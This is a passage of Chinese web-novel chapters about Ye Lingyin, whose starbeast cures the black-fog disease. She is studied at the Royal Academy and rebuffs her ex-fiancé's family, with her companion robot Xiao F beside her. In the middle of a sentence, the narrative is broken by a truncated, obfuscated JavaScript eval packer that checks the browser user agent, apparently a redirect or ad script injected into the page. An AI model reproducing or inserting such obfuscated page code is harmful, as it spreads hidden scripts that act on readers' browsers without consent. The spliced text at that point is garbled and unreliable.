当众被诋毁，秦蓝脸皮薄觉得难堪，甚至都想马上捂着脸跑回家。但她转念一想，女儿说好来接他们的，现在接他们的人如约前来，尽快见到女儿才是最重要的。 凭什么要在意这群爱嚼舌根的苍蝇，又没吃他们家大米。 秦蓝挽着丈夫的胳膊，背挺得更直，泰然自若地看向那人。 穿黑西装的人自然也听到了这里居民们的议论，不可能不去留意指认这家人是骗子的话语。 但…… 他的上司只向他传达了要请这家人去帝都星这件事，说是大少爷的意思。 虽然没有特别叮嘱什么，不过既然是大少爷的客人，肯定不能怠慢。 如何甄别朋友的人品是少爷自己考虑的事情，他只是个按命令办事的下人，这种时候不要自作聪明。 于是，他给了身边随从一个眼神示意，后者心领神会。几个随从向人群走来，语气依旧礼貌地劝说众人不要再围观，却在不经意间露出身上装备的武器。他们左右张望着，似乎在人群中寻找刚才起头的那几个人。 叫喊着的众人顿时变得鸦雀无声。 最初挑事的几个人更是被吓破了胆，赶忙抱头蹲下身将自己隐藏在人群中。 因为早有准备，在简单确认了彼此的身份后，一家三口便乘上了飞船。 伴随着轰鸣声，飞船启动，在周围一众人惊讶的目光中飞离了天昭星。 ———— 三天前。 “叶女士您好，请问您的机器人要和行李放在一起吗？” 打包好了行李，上飞船时，陪同她一起来的人见到叶聆音身后的机器人，不禁多问了她一句。 携带自家机器人出行并不奇怪，只是一般民用星际飞船会建议乘客将机器人关机后和行李一起托运。 他们是私家飞船没有这方面的问题，一切全凭使用者的喜好。 “不必，让它坐在我旁边就好。”叶聆音说完，见对方眼中闪过一丝讶异，保险起见，她又多解释了几句：“路途时间这么久，我一个人干坐着太无聊了。这个机器人是我很早以前买的，各项数据都调试好了，和我聊得来。” 听到她这么说，对方点点头，没有再追问什么。 几分钟后，小F和叶聆音面对面坐在了窗边。 它转动摄像头，看着窗外浩渺又空旷的宇宙。 这不是它第一次乘坐星际飞船。 不过，之前的它是以电脑形态，在叶聆音的行李箱里完成了第一次星际旅行。 说实话，上次除了位置上的改变，和待在屋子里没有什么区别。 叶聆音静静地注视着它，见小F好像是望着窗外的景象陷入了沉思，她等待了很久后，忍不住出声问它。 “小F，你看到什么了吗？那么入神。” 机器人的显示屏重新转过来，正对着叶聆音。 “看到了几个亮着光的恒星。” “至于其它的，太黑了，以我的配置有些看不清楚。” 它说着，又重新看向窗外。 “聆音，我感到很奇妙。” “嗯？” “根据现有的知识，你和我，还有这艘飞船，都是从这个宇宙的尘埃与气体中产生的。” “现在，我们坐在这样的飞行器里，你和我交流，你问我看到了什么，我会回答你。” “虽然我还不知道自己是什么，但这种奇妙的感觉，我不会忘记的。” 听到它这么说，叶聆音也侧过头向窗外看去。 她经历过很多次星际航行，记忆中最早的那次小时候跟父母出去旅游。起初看到这样的景象时，小时候的她也很激动，叽叽喳喳地和父母说个不停。 后来这样的经历多了后，也就习以为常。相同的景色看多了也无趣，更多的时候还是想着快点到达目的地。 如果没有小F，现在的她除了闭上眼睛听歌，就是浏览社交软件，或者直接躺进深眠舱睡过去，以此打发旅途中的无聊空虚。 叶聆音轻轻倚靠在窗框边上。 虽然她不太能理解小F所说的那种“奇妙”感觉，但是和小F在一起哪怕什么都不做，只是看着窗外漆黑的太空，也不会再感到无聊。 到达帝都星时，已经是第二天傍晚了。 她带着小F在青岚山别墅暂住下来。 这些天以来，元帅夫人的身体恢复得不错，因为病情好转，一些过去无法起效的药物也可以用了。 在叶聆音与专业医疗团队的照顾下，安素雅已经不会再陷入昏迷或是失忆的状态，可以和普通人一样说说笑笑，除了长期卧病在床体质有些虚弱，因此还需要坐轮椅或是被人搀扶着行走。 从儿子和管家那里，她得知是叶聆音救了自己。 “小叶，你是从科学院来的吗？” 午饭时间，安素雅和叶聆音坐在一起用餐。 元帅夫人对她的身份很好奇，虽然安素雅因为患病意识不清有很久了，但她患病前就知道黑雾病很难治好。自己病得那么严重，最后儿子康驰替她寻来了这位叶女士，安素雅以为叶聆音是科学院的青年才俊，在这一两年里发明出了一种用星兽治疗黑雾病的方法。 叶聆音如实回答：“夫人，我不是科学院的学者。我的星兽可以治愈黑雾病，也是自己无意中发现的。” 聊天过程中，在得知她的家人将要来帝都星后，安素雅为表达感谢，要将自己名下的其中一家珠宝店赠予她。 “店里有专人打理，每年的利润虽然不多，但足够你们一家在帝都星生活。” 叶聆音拒绝了，并告知对方康驰已经许诺了她谢礼，元帅夫人听罢却自嘲道：“我是个无权无势，什么都不懂的妇人，很多年前因为家境好这才有幸嫁给了元帅。” 也不知道是她对叶聆音很信任，还是大病初愈后想要随性而为，女人拉着叶聆音絮絮叨叨地诉说着自己的过往。 在安素雅看来，丈夫确实是个很有能力的男人，年轻的时候屡建奇功，靠自己打拼一步步走到了这个位置。后来与丈夫的感情发生变故，她不是没有过痛心落寞的时候，但渐渐地也想通了。 自己年老色衰，对丈夫的事业也没有任何助益，被冷落也在所难免。 想通后，她便把所有的爱寄托在儿子身上。 几年前不幸患上黑雾病，安素雅知道自己的病治不好，便想着能在离开这个世界前多看儿子几眼。现在能重新恢复意识见到儿子，她已经觉得很幸福了，自己是发自内心地想要感谢叶聆音。 说着说着，安素雅突然眼前一亮，她建议叶聆音不要放弃自己的星兽博主事业。 “你的力量能帮助更多的人，你有什么需要都可以告诉我。” 叶聆音垂眸，看向元帅夫人拉着自己的那只沟壑纵横的手。 元帅夫人，她是个温柔又天真的女人。 或许随遇而安就是她的处世方式吧。 ———— 第二天下午，叶家三人来到了帝都星。 夫妻俩花了好长时间才理清前因后果，一会儿震惊于那个很出名的星兽博主竟然就是自己女儿，还没缓过来又被告知星兽治愈黑雾病的传闻是真的，更让他们意想不到的是，邀请他们来帝都星的竟然是那位康元帅的长子，原因是自家女儿治好了元帅夫人的黑雾病。 这一下午的心情就像过山车，忽高忽低。 听到叶聆音说要不要考虑长住在帝都星，夫妻俩起初还挺高兴。 可冷静下来后，他们又拒绝了。 叶向明皱眉：“怎么兜兜转转，又和元帅一家扯上关系了。聆音，不是爸爸妈妈想打击你，我们确实很为你感到高兴，但之前那件事……总不能当作从没发生过吧。” 秦蓝也劝她：“是啊，聆音，人家到底是兄弟，你在那位康上将手下讨生活，说不定还会经常见到那人，总归是对你不好。” “谁说我要在他手下讨生活了？” 她可从没这么想过。 父母的顾虑，她倒也能理解。 既然他们不愿意留在这里，那就算了。 难得来一次帝都星，她打算带父母和妹妹在这里好好玩一段时间。等彻底治好元帅夫人后，叶聆音还是选择回到菲罗星干老本行。 反正高经理亲口说过，她想什么时候回去就什么时候回去。 另一边，见父母还要回老家继续受气，叶翎羽不干了。 “那你们回去吧，我和姐姐留下来。” 她都做好准备要转学来帝都星了，苏青青做梦都想去皇家科学院看一眼自己崇拜的偶像厉决，叶翎羽还计划着来拍一些自己在这边生活的照片，好气一气那家伙，让她隔着屏幕对自己又羡慕又嫉妒。 最终，秦蓝以“你姐姐几个月以后也要离开”为由让叶翎羽打消了转学的念头。 他们陪着叶聆音在帝都星住了一段时间后，便离开了。 为此，安素雅还曾问起过康驰，是不是没有招待好人家，还是叶聆音帮忙解释了一番。 在那之后又过去了半个月，康元帅终于出现了。 与他同行的，还有情人孟春蕾和她的一双儿女，以及养女魏沫沫。 大概是做梦也想不到会在这种地方遇到叶聆音，那三张熟悉的面孔在见到她后，都惊讶到失去表情管理。 “你怎么会在这里？！”康斯年与康幼兰几乎异口同声。 两个孩子的反应引起了康元帅的注意，他剑眉一拧，也扫了一眼叶聆音，又看向旁边的管家。 见状，孟春蕾急忙抢先出来打圆场。 “我们不认识，是两个孩子认错了吧。”说着，她又给两个孩子使眼色。 给儿子订婚被骗，这件事说出去太丢脸了，肯定会惹得康元帅不高兴。 康斯年与康幼兰仍是一副不可置信的模样。 反倒是叶聆音站起来，礼貌地向几人微微欠身鞠躬。 管家说出了叶聆音的身份：“老爷，这位叶女士就是治好夫人的人。” 纵使是孟春蕾，在听到这句话后不禁瞳孔骤缩，嘴角惯有的社交性笑容也瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每一条都石沉大海。 叶聆音不是故意不回讯息，只是她确实收不到。 当年发生了那样的事，她的电话都被当地媒体打爆了。迫不得已才在事件稍稍平息过后，更换了自己的号码。 ———— 晚上，叶聆音躺在床上。 她想起康斯年今天见到自己时的样子，他那副震惊的表情可真少见。 人的眼睛竟然可以瞪得那么大。 她翻过身，把脸埋进枕头。 一想到这个人曾经是自己的未婚夫，叶聆音就有种不真实感。 “聆音，我爱你，我这辈子只想娶你一个女人。” 过往的承诺穿越时间，熟悉的声音依稀在她耳畔回响。 如果当初她的精神力没有出现问题，现在她应该已经按照约定好的时间，与康斯年成婚了吧。 之后会如何，她也不知道。 只是叶聆音并不觉得惋惜。 现在看来，康斯年不喜欢她，她也不喜欢康斯年。 这场由精神力促成的婚约，最后也因为精神力而解除。 她闭上眼睛。 黑暗中，只能听到窗外的风声。 “聆音，我给你讲个笑话吧。” “小F？” 叶聆音从床上坐起身，看向坐在软椅上的小F。 “怎么突然要讲笑话？”她停顿了下，想起了什么，又问它：“我看上去很不开心吗？” 小F的屏幕亮着微弱的光。 “不，我不能确定。” “因为我现在已经没有可以识别面部表情的功能了。” “不过，这个笑话是我刚才想到的，我想分享给你听。” 叶聆音拉过被子披在身上。 “好，我想听。” 寂静的夜晚，小F运行时发出细微的滋滋声。 “某天，一个机器人去算命，大师说你前世在街对面那家超市做售货员。机器人问大师为什么这么笃定，大师说因为自己在机器人格式化前见过它。” 叶聆音：“……”。 见她久久没有回应，小F屏幕上的亮光暗了几度。 “好吧，看来我编笑话的能力有待提高。” “小F。”叶聆音轻声道。 “嗯？” “原来在你眼中，前世是这样的吗？”她不是被这个笑话冷到了，只是很意外小F会编出这样的笑话。 小F一本正经地回答她：“机器人没有前世，而且按照目前的科学认知体系，前世的说法缺乏科学依据，是不真实的。虽然有一些人声称拥有前世记忆，但可能只是主观想象或记忆错觉导致的。” “不过，前世的说法可以作为一种精神寄托或娱乐方式，就像我以此编出来的那个笑话一样。” “虽然并不好笑。” 听到它还惦记着自己的笑话，叶聆音宽慰它：“小F，其实和你聊会儿天我就很开心了。”她一边说，一边打了个哈欠。 不管笑话是不是好笑，她整个人确实因此放松了下来，困意像潮水般涌来。 小F彻底关闭了自己身上的发光源：“早点休息吧，聆音，祝你做个好梦。” 叶聆音重新躺回床上，她望着天花板，下意识地就要脱口而出“晚安，你也是”。 下一刻，她突然想到，机器人应该也不会做梦吧。 “小F，你会做梦吗？” “我知道人类的梦境很奇妙，只是我也不会做梦。” 它停顿了一下。 “聆音，如果我能出现在你的梦里，可以告诉我在梦里发生了什么吗？” 35. 皇家科学院 叶聆音答应了。 只是梦这种东西很难靠人的主观意识控制，所以她这天晚上并没有梦到小F。 醒过来时，她记得自己确实做过梦，但只能勉强回忆起一些纷乱的画面，具体发生了什么完全想不起来。 两个多月后，经过医疗团队全方面的检查诊断，安夫人的黑雾病完全治愈了。 比起安夫人的惊喜，其他人更多得表现出了震惊。 按照叶聆音与康驰的约定，她现在就可以离开帝都星了。 然而，或许是因为安夫人康复的消息不胫而走，在叶聆音收拾行装即将离开之前，有个陌生人找上了她。 是个三十出头的女人，脸上挂着亲和礼貌的微笑。她的瞳色很浅，乍一看上去那双杏眼很温和，但盯着她的眼睛看一会儿，就能感受到那机器般模式化的笑意不达眼底。 “叶小姐，打扰了。” 女人拿出自己的工作证。 “我叫杜秋，隶属于皇家科学院。” “是这样的，不久前我们获悉您成功治愈了一位黑雾病晚期的病人，如果情况属实，这将会是帝国近几十年来最令人振奋的发现。” 名叫杜秋的女人简短地解释了自己前来的缘由，她传达了科学院高层的意思——希望叶聆音能前往院区接受精神力研究。 似乎是怕她会拒绝前往，名为杜秋的女人还代表科学院开出了优厚的条件。如果研究结果证明叶聆音确实具有治疗黑雾病的能力，科学院将会直接聘用她作为治疗师就职。 和康驰当时提出的条件大差不差，区别是前者只是在康驰手下干活，而成为皇家科学院的正式治疗师，相当于直接为帝国工作。 说实话，就算没有杜秋的许诺，叶聆音也想弄明白自己身上发生的一切。 她没有犹豫，答应了下来。 因为是科学院直接来“请人”，康驰手下的管家和佣人也不好阻挠。此外，得知了这件事的元帅夫人也很高兴，她很支持叶聆音去科学院研究自身能力，甚至打算派几个人跟去照顾叶聆音。 叶聆音婉拒了安夫人的好意，只带上了不失绵和小F。 ———— 皇家科学院也位于帝都星，一行人当天下午就来到了目的地。 下车后，叶聆音抬头向前看去。 过去无数次在电视上看到皇家科学院，这还是她第一次在现实中见到这座宏伟的建筑。 帝国皇家科学院至今已有数百年历史，期间虽然经历过大大小小数不清次数的翻修，但还保留了曾经的建筑风格，整体看上去很复古。 她一个外来人员进入科学院并不容易，杜秋带着叶聆音验证身份并办理完相关手续后，已经是晚上了。 叶聆音的最后一站是精神力研究所。 据杜秋所说，她大概率会在这里待上十天半个月左右，期间会有专人安排针对她的检查项目。 “这是我的联系方式，期间如果你有任何问题或需要，都可以联系我。” 进入电梯后，杜秋按下了按钮，说话的同时不动声色地看了一眼跟在叶聆音身后的机器人。 是市面上很常见的一款家庭助理型机器人，价格不算贵。 “叶女士，一会儿进去的时候，你的机器人和行李都要在接待处寄存，不能带进实验区域。” 一路上总是默默点头的叶聆音在听到这句话后，终于是提出了不同意见。 “杜女士，我能理解科学院的安排，只是我的机器人陪伴我很久了，我独自一人在陌生的地方会感到不适应，可能会影响研究结果，您看有没有折中的办法？” 杜秋的神色有细微的变化，她正要组织语言开口，电梯门先一步打开了。 眼前的画面让叶聆音愣了一下。 站在走廊里，穿着实验服的那人在注意到对面的两人时，下意识要迈进电梯的脚也停住了。 实验室冷白的光从男人身后照过来，将他的轮廓镀上一层锋利的蓝边。 男人深邃的黑眸有短暂的怔愣，紧接着，那难以掩饰的嫌恶也渐渐显露出来。 与此同时，一个巨大的疑问在他脑海中炸开。 叶聆音…… 她怎么会出现在这里？ “厉教授，晚上好。” 杜秋本就全程带着礼貌的微笑，为表现出见到对方的区别，她嘴角扬起的弧度又上升了几度，并微微点了下头。 听到杜秋的声音，叶聆音也马上回过神来，她紧随其后微微点头表示尊敬，并没有表现出自己曾经与厉决认识的样子。 厉决的手指无意识地收缩，骨节泛出青白。他盯着叶聆音停顿了几秒钟，什么都没说，紧抿着薄唇与两人错开迈步走进电梯。 他肯定也不想被别人知晓那段往事吧，叶聆音心想。 过去哪怕是为了S级精神力来追求自己时，她也能感觉到厉决身上拒人于千里之外的傲气。 智慧的头脑与出众的外形，让他早就习惯了周围人的追捧。普通人在厉决眼中，几乎是低于他的另一个物种了。 电梯上行后，带着叶聆音去往实验区域的杜秋还是没忍住向后望了一眼。 她不是傻子，自然能看出这这两个人互相认识。 而且，这两个人都不希望其他人看出来这一点，这种欲盖弥彰的举动，让杜秋更加确信，他们关系匪浅。 饶是对工作之外的事物向来不怎么关注的杜秋，也不禁生出些许八卦之心。 那可是厉决。 作为贺院长最器重的学生之一，极有可能继承未来的科学院，想要结识他与他交好的人可太多了。甚至有人开玩笑说，如果厉决在网上发出一条征婚通知，他的爱慕者能从科学院大门一直排到郊区。 然而，厉决对这些人的态度都很冷淡。 她想起，有段时间厉决经常请假外出，当时身边同事有传言说他终于铁树开花谈恋爱了。而这位叶小姐的资料上显示，她并非帝都星本地人。 难道说…… “杜女士。” 听到叶聆音叫她，杜秋很快收回思绪。 “我刚才的问题您考虑得怎么样了？我的机器人可以和我待在一起吗？”叶聆音神色如常，仿佛已经忘记了刚才发生的那点小插曲。 比起与厉决的这次不期而遇，她更在乎这个。 过去的事情……就让它过去吧。 杜秋看向那个老老实实跟在身后的机器人。 “这是科学院的规定，我一个人说了不算。” “我会向上面提交申请，最快明天就能通知你结果。” ———— 第二天一大早，叶聆音就再次见到了小F。 看来杜秋真的帮她向上面争取了，不过，更让叶聆音意外的是，除了小F，还有另一个令她意想不到的人出现在了这里。 贺徕教授。 比起在镜头前稳重严肃的样子，这位德高望重的老人此时看上去更加慈祥。 叶聆音连忙站起身问好，对方却笑着摆摆手让她不用这么客气。 他没有过多客套的话，直接提出此次前来，就是想要看看那只据说能治愈黑雾病的星兽，叶聆音同意了。 不失绵被放置在观察箱里，科学院里的研究包罗万象，虽然很冷门但也不是完全没有研究星兽的分类，这样的透明观察箱就是专门为研究星兽准备的。 不失绵原本吃饱喝足躺在草窝里半阖着眼睛休息，在贺徕教授凑近时，它注意到了，但并未对这个陌生人的接近做出任何反应，甚至懒洋洋地张大嘴巴打了个哈欠。 “没有普通星兽那么怕人。” 贺徕说着，向身后跟着的研究员伸出手，后者赶忙将一个录音机样子的仪器递了过去。 贺徕按下按钮，仪器里很快发出模拟星兽的叫声。 观察箱里的不失绵立马竖起耳朵，警惕地向四周观望，似乎是想要找出另一只发出声音的星兽。 贺徕调整仪器发出不同的声音，不失绵也做出相应的举动 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望着头顶的天花板看了一会儿，她拿出光脑给小F发送了一条消息。 【小F，你好像对那位贺徕教授很感兴趣】 几分钟后，她收到了回复。 【我知道，他是帝国最负盛名的科学家之一】 【我感到很奇怪，我很确定自己从没在现实中见过他，但用你们人类的话来说，就是有种似曾相识的感觉】 似曾相识…… 这是叶聆音头一回从小F那儿听到这个词。 她想起当初在蓝梦星，上门回收那批小机器人的工作人员。 她突然感到一阵心烦意乱，没有再继续这个话题。 ———— 和杜秋预计的时间差不多，在科学院住了十来天，有关叶聆音与不失绵的研究有了初步的结果。 叶聆音看不懂那厚厚一沓的研究报告，不过杜秋将最终结果转述给了她。 不失绵确实是只普通的星兽，它之所以能治愈黑雾病，是受到了叶聆音精神力的影响。 研究发现，她的精神力很特殊，科学院近几十年收集整理的数据库里都没有和她类似的能力。 在日复一日的相处中，星兽被她无意识中使用的精神力影响。 测试发现，当患病的人看到或者接触到这样的星兽时，精神体会受到刺激，使有的人可以被唤起曾经美好的记忆，有的人则可以看到幻想中的美好画面。但无论是哪一种，这种特殊的精神体验都极大地缓解了病人的症状，甚至完全治愈。 这个过程与S级治疗师的能力有不少相似之处，但叶聆音并没有经过专门的学习，她甚至在治愈了患者后不会出现头晕、疲惫等精神力耗竭的情况。 至于她的精神力究竟是如何作用于星兽的，还有待进一步研究。 此外，科学院的研究报告里还写明，她本人确实患有黑雾病，与她在医院里诊断的结果一致。但或许是因为她十分稀少的精神力类型，所以她的症状也与大多数人不同。 她患病的时间点远比她自认为的要早。 叶聆音看着报告单上推测的时间区间，那个时候她还没有离开家，甚至还没有进行第一次精神力鉴定。 竟然在那时就已经…… 科学院的研究人员推测，她的精神力出现异常，就是因为黑雾病的影响。后来她的精神力逐渐提升，也表明了她的黑雾病正在缓慢康复。 最后，杜秋还告诉了她一个好消息，最新的鉴定结果显示，她目前已经是S级精神力，而且她的黑雾病也好得差不多了。接下来，如果她愿意的话，可以留在帝都星，成为一名治疗师。 叶聆音静静地倾听着发生在自己身上的这一切。 她以为自己听到这些会喜极而泣，但实际上她很平静，甚至有种怅然若失的感觉。 兜兜转转一大圈，她又回到了起点。 她不是骗子。 她只是病了。 36. 婚约 叶聆音选择留在帝都星。 在她住在科学院的这段时间里，厉决与她就像两条互不相干的平行线没有任何交集。 直到叶聆音要离开之际，她处理完最后的手续，走出科学院的大门。 在她正对面，厉决站在远处大树下的阴影里，紧抿着嘴唇，眉眼依旧锋利。 他冷着脸，不知道在想什么。 或许会觉得自己又一次被欺骗了，但他自己就是科学院的人，他当然知道整件事情的来龙去脉。 叶聆音认为自己也不需要再解释什么，径直离开了科学院。 几天后，叶聆音作为帝国治疗师出现在了新闻里。 她很快就收到了家里打来的电话，父母又惊又喜地问她这是怎么回事，叶聆音告诉家里等自己打理好这边的相关事宜就回去接他们。 同样得到这个消息的还有康斯年，不过对他来说，这或许不能称之为一个“好”消息。 他找到叶聆音的时候，发丝凌乱，双目猩红，情绪很是激动。 “你为什么骗我？！”康斯年大声质问她。 他很清楚地记得，叶聆音的精神力测试是N级，她只是个为了攀附他家的骗子，为什么突然摇身一又变成了S级的治疗师呢？ 究竟哪次是在骗他？ 彼时叶聆音正从工作地点走出来，周围的行人注意到这边的动静，纷纷放缓了脚步。 很多人都认得这位天赋过人的新晋治疗师叶聆音，同时也对那位元帅家的小儿子颇有耳闻，只是他们无论如何都想不到这两个人是如何扯上关系的。 叶聆音注视着康斯年，这个曾经的未婚夫。 现在回想起来，他们两个人之间本来就没有感情。变故发生的那段时间里，她确实痛不欲生，但那并非是因为与康斯年分开才难过，叶聆音突然很庆幸，如果她真的喜欢康斯年，所要承受的痛苦或许比当时要多出一倍。 “我从来都没有骗过你。” 叶聆音语调平常，听不出任何波澜。 成为众矢之的，被架上火上烤时，她解释过，想尽各种办法去解释自己不是骗子，可是没有人愿意相信她。 这些人里面也包括康斯年。 他们只相信精神力鉴定书上给出的结果，但那也是她当时真正的状态。那个时候的她，确实是个没有精神力的普通人。 所以，康斯年与她退婚也是情理之中。 现在真相大白，她不想去指责或者怪罪谁，只想继续过好自己的生活。 ———— 给妹妹办好了转学手续后，叶聆音回到了天昭星。 她走在熟悉的街道上，这里曾是她赖以生存的家，也是她想要逃离的噩梦。 街坊邻居满脸堆笑着和她打招呼，亲昵地喊她的名字。 “哎呀，聆音回来啦！” “这么久不见，我们都想你了。” “辉辉，快喊你聆音姐姐。” …… 叶聆音态度平和，平静地与周围的人打招呼。 在家门口，她遇到了邻居朱大伯一家。 朱家夫妇俩眯起眼睛，笑得合不拢嘴。朱太太还把自己的儿子推出来，指着叶聆音说： “你看，这是你聆音姐姐，你们小时候经常在一起玩，关系可好了，是不是呀？” “有关你的事情，我都听说了。”朱大伯脖子前倾，摩挲着手背，“你们家这下要搬去帝都星了是吧？我看到你家里人这几天收拾行李了，我还帮着联系搬家公司了呢。” 叶聆音礼貌又疏离地表达了感谢，随后扭头进了家门。 具体的安排之前都商量得差不多了，老家的住所会交给其他亲戚打理，后续再考虑要不要出售。 出发前，住在附近的人都出来送行，这些人的脸上无一例外都挂着和煦的笑意，还有人要送她特产礼物让她带着。 善意与关爱像纷飞的雪花一样，自然而然地散落在她的身上……在她已经不再需要这些的时候。 明明她还是她自己。 叶聆音及时止住了自己飘远的思绪。 现在反复回忆这些也没有什么用。 ———— “帝都星的新同学会不会觉得我是乡下来的土包子？” 飞船上，叶翎羽在网页上浏览着新学校的信息。 过去总幻想着自己能离开家去外地上学，现在这个愿望终于实现了，她反倒有些怯场。 特别是姐姐给她选的学校，光看网上的图片就已经能感受到这和自己以前的学校完全不同。 秦蓝笑着刮了下小女儿的鼻尖：“你这天不怕地不怕的小刺猬，竟然还担心这个？” 叶翎羽躲开母亲的手，皱着眉嘟囔道：“这种时候就别开玩笑了，而且我也不是胆小，我才不怕他们呢。” 坐在旁边的叶聆音想了想，开口问妹妹：“翎羽，如果你原来的班上来了个成绩很好的转校生，你会排挤对方吗？” 叶翎羽几乎没有思考就脱口而出：“我才没那么无聊呢，要是能合得来就做朋友，要是那家伙脾气很差我根本懒得搭理。” “那么，你也和以前一样只要做自己就可以了，班上那么多同学，总会遇到和你投缘的人。到时候我会陪你提前熟悉校园，如果实在适应不了，也可以再转校，不用太担心。” 叶翎羽连忙摇头：“不要，这个学校挺好的。我刚才在官网上看到，他们的毕业旅行可以选择去荒星探险，一定很有意思！” “去荒星多危险啊，我不同意你……”后半句话还未说出口，秦蓝就看到小女儿的脸色刷得一下沉了下去，她只好暂时把担心的话语咽了回去。 算了算了，这个时候就不扫孩子的兴了。 反正距离毕业旅行还有好长一段时间，到时候再商量。 在帝都星的新家住下后，最开始的半个月里，住在附近登门拜访的人几乎踏破门槛。 每个人都带来了价值不菲的见面礼，夫妻俩觉得贵重不敢收。 有一次，客人送来了专供帝国皇室的特许酒，据说一般人花重金都买不到，他们也是因为有亲戚嫁进了皇室成员才得来的。 叶向明这一回是真想收，被妻子瞪了一眼，这才讪讪收回手。 送走了客人，秦蓝将“见酒眼开”的丈夫数落了一通。 “你不要给聆音添麻烦！” 叶向明说不过她，赌气跑楼下溜达去了。 不多时，又听到门铃声。 秦蓝以为又是前来拜访的邻居，她正在厨房研究自己新学的养生食谱，一时半会儿腾不开手，便向外面喊了一声。 “小F，去开门。” 趁着这段时间，秦蓝很快地摘下手套，又简单整理了一番衣服与头发，听到走廊尽头传来开门声，她无奈地叹了口气，心想又是前来拜访的客人。 但没办法，客人来了总不能不见，秦蓝调整好状态，笑容满面地迎了上去。 然而，当看到站在门口的几张面孔时，她的笑意瞬间僵在了脸上。 因为最前面的那两个不是别人，竟然是孟春蕾和康斯年。后面跟着的几个生面孔，应该是同行的管家与保镖。 秦蓝从惊讶中回过神来，她收敛笑意默不作声，既没有上前迎接，也没有让对方就座的意思。反倒是孟春蕾像个没事人一样，快步上前笑着拉起她的手。 “哎呀，亲家母，真是好久不见啊。” “别别别，您又在开玩笑了，这我们可担待不起。” 秦蓝不动声色地抽出自己的手，说出的话很恭敬，语气与脸色却是冷的。 见对方态度冷漠，孟春蕾并不觉得尴尬，当初发生了那样的事，对方会不欢迎也在她的意料之内。 无论如何，先留下来再说。 “你们几个先去外面等吧。” 孟春蕾自顾自地走到客厅坐下，她又招手叫杵在门口的儿子也进来坐。 与母亲为达目的不罢休的厚脸皮不同，康斯年表现地有些拘谨。 在前来拜访的路上，他不止一次地想过，自己怎么这么倒霉？ 明明不是他的错，母亲却要他一起过来，说是要跟人家服个软，道个歉，好继续当年的婚约。 他强压下心中的不快，微微欠身说了句“秦阿姨好”便迈步走了进来。屋子里的温度更高一些，他伸手扯了扯领口，将外套脱下来，顺手丢给了一旁的那个机器人。 “去，给我挂起来。” 孟春蕾也注意到了那个机器人。 家庭型机 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“聆音的事情我都听说了，那孩子也是可怜，唉……”说到这儿，孟春蕾掩面，轻轻擦去从眼睛里揉出来的泪液，深深叹了口气后，又很快换上了笑脸。 “过去的事就不提了，既然聆音现在已经康复了，我想要不将两家的婚约也一起恢复了，凑个好事成双，你看怎么样？” 秦蓝先是震惊，等回味过来这几句的话的具体含义后，忍不住发出一声冷笑。 她算是听明白了。 这是得知自己女儿重新成为治疗师后，又想要拿当年作废的婚约说事。 哪有这样的道理！ “当初的婚约退都退了，这不就说明两个孩子之间没缘分吗？” 她拒绝得很委婉，可孟春蕾依旧不依不饶。 “之前都是误会，两个孩子曾经的情谊还在，何不成全了这桩美事呢？” 说着，孟春蕾用胳膊肘戳了戳儿子，康斯年马上跟在后面说：“秦阿姨，我真的很喜欢聆音，聆音也喜欢我，我不想就这样错过了这段感情，请您再给我一次机会吧。” 聆音喜欢他？ 秦蓝犯了难，她确实不知道女儿是如何想的。 女儿从来没和她提起过有关男女感情方面的困扰。 从她的角度出发，她希望和这一家人老死不相往来。但如果真的和康斯年所说的那样，万一聆音也喜欢对方，她现在拒绝人家岂不是好心办坏事？ 被退婚后的那段时间，聆音那么伤感…… 秦蓝一时拿不定主意。 另一边，康斯年干咳了几下，游说了这么久的孟春蕾也口干舌燥到了极点。但他们这次毕竟是来求人的，不好直接开口提要求，只好看向了陪在秦蓝旁边的那个机器人。 “这机器人坏了吗？怎么也不会给人泡茶，是不是功能没设置好？” 对方话说到这个地步上，秦蓝也不好再晾着人家。 “小F，去倒两杯茶过来。” 得到指令的机器人轻车熟路地从柜子里拿出客人用的一次性杯子，又从酒柜上取下茶叶罐。还没来得及打开，秦蓝突然快步上前，抢先一步从它手里拿过茶叶罐，往里面看了一眼。 “哎呀，茶叶没有了。” 拿着手中沉甸甸的茶叶罐，秦蓝面不改色地撒谎。 这茶叶还是不久前住在隔壁的邻居送给她们的，她不爱喝茶，丈夫叶向明也是穷酸惯了，这么贵的茶叶刚开始还舍不得喝。 一想起当年退婚时的画面，还要让她们家的机器人给对方泡茶，秦蓝还是觉得气不过。 小F：？ 它清楚地看到，茶叶罐里是有茶叶的，而且几乎是满的，只是从那两位客人的角度看不清。 秦蓝也是气糊涂了，她在给小F一个机器人使眼色。 从那两个人进门时，小F就检索到了网络上公开的信息，这一男一女分别叫什么名字，是什么身份。 而且，它发现聆音的妈妈不喜欢这两个人。 作为一款初级的家庭助理型机器人，它不应该看懂人类的眼神示意，也不应该撒谎。 但…… 屏幕上的缓冲条转了又转。 “很抱歉，夫人，茶叶没有了。” 37. 星誓日 喝着凉白开，打了许久的感情牌，秦蓝却说自己做不了主，天色也晚了，孟家母子只好暂时离开。 离去的路上，康斯年咬牙切齿地想，大丈夫能屈能伸，只要能够达成目的，哪怕是重新去追求叶聆音这种有辱面子的事，他也能办到。 母亲说得对，只要有一线希望都要去争取。更何况，他和叶聆音本来就有婚约，他们在一起本就名正言顺。这段时间通过调查，他也没发现叶聆音身边出现过其他的男人。 想到这儿，康斯年烦躁不安的心稍稍平稳了下来。 走出大门时，他与一个人擦肩而过。 一般的陌生人也就算了，康斯年根本不会在意。 但他却下意识地停住了脚步。 怎么感觉那人看着有些面熟？还是一种让他心底莫名生出厌恶的熟悉感。 他扭过头向后看去，隔着浑浊的暮色，单就一个模糊的背影，康斯年想了半天都没想起来那人究竟是谁。 兴许是自己的错觉吧。 另一边，林天诚完全没注意到身后那道审视自己的目光，还在脑海中预演一会儿见到了聆音的父母要怎么进行自我介绍。 虽然他现在已经有女朋友了，但聆音再怎么说都是他的青梅竹马。就算两人做不成情侣，曾经的情谊也在，也是可以继续做朋友的。 这段时间里，经过多方打听，林天诚对叶聆音重新成为治疗师的事情了解了个大概。 真没想到，后续的结果会反转成这样。 林天诚暗自庆幸，还好他当初只是与聆音切断了联系，虽然那时内心对叶家借精神力炒作的行为很不齿，但他并没有当面说出来。 